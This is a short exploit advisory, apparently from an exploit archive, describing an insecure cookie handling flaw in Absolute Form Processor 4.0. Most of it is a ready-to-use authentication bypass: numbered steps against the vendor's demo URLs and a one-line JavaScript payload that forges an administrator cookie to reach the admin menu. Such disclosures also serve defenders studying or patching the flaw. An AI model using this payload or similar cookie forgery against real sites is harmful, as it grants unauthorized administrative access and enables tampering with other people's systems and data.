Absolute Form Processor 4.0 Insecure Cookie Handling Vulnerability

==================================================================
Absolute Form Processor 4.0 Insecure Cookie Handling Vulnerability
==================================================================


[~] Author : Hakxer
[~] Type Gap : Insecure Cookie Handling
[~] script : Absolute Form Processor [see script] http://www.xigla.com/absolutefpnet/demo.htm
[~] Team : EgY Coders 
#################################################################################################

Exploit : First go to http://www.xigla.com/absolutefpnet/demo/login.aspx
Second Execute JS Code 
[~] javascript:document.cookie="xlaAFPDEMOadmin=userid=1&lvl=1&createforms=checked";
Now Go to http://www.xigla.com/absolutefpnet/demo/menu.aspx

--- Proud To Be A Muslim ---

# _=END=_ # 



#  0day.today [2018-01-01]  #